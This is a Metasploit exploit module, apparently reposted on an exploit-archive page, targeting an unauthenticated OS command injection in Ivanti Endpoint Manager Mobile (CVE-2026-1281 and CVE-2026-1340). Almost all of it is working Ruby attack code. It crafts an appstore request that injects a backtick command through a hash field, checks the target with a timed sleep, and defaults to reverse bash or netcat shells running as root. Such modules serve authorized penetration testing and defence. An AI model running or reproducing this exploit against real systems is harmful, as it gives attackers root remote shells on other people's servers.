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Ivanti Endpoint Manager Mobile (EPMM) Unauthenticated Remote Code Execution
Ivanti Endpoint Manager Mobile (EPMM) Unauthenticated Remote Code Execution
Ivanti Endpoint Manager Mobile (EPMM) Unauthenticated Remote Code Execution

##
# This Ivanti Endpoint Manager Mobile (EPMM) Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE',
'Description' => %q{
This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.
},
'License' => MSF_LICENSE,
'Author' => [
'watchTowr', # Original analysis and PoC
'sfewer-r7' # MSF module
],
'References' => [
['CVE', '2026-1281'],
['CVE', '2026-1340'],
# Vendor advisory
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
# Vendor guidance
['URL', 'https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
# Technical analysis & PoC
['URL', 'https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/']
],
'DisclosureDate' => '2026-01-29',
'Privileged' => true, # Executes as root.
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
# Successfully tested with the following payloads against MobileIron 11.2:
# cmd/unix/reverse_bash
# cmd/unix/reverse_netcat
# NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
'Default', {
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'Payload' => {
'BadChars' => '`'
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
end

def check
res_ver = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp')
)

return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver

return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200

ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/)

return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match

product_name = 'EPMM'

# Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.
if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0')
product_name = 'MobileIron'
end

version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}"

sleep_time = rand(4..8)

# We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_cmd("sleep #{sleep_time}")
end

return CheckCode::Unknown("#{version_string}. Connection failed") unless res

if elapsed_time < sleep_time
return CheckCode::Safe(version_string)
end

CheckCode::Vulnerable(version_string)
end

def exploit
execute_cmd(payload.encoded)
end

def execute_cmd(cmd)
elements = {
'kid' => rand(32),
'st' => 'theValue'.ljust(10), # A length check in EPMM requires this value to be 10 characters long.
'et' => (Time.now + (60 * 60 * rand(24))).to_i,
'h' => "gPath[`#{cmd}`]"
}

hash = 'sha256:'

hash += elements.map { |k, v| "#{k}=#{Rex::Text.uri_encode(v.to_s, 'hex-noslashes')}" }.join(',')

vprint_status("hash: #{hash}")

send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(
target_uri.path,
'mifs',
'c',
'appstore',
'fob',
'3',
rand(1024).to_s,
hash,
"#{SecureRandom.uuid}.ipa"
)
)
end
end
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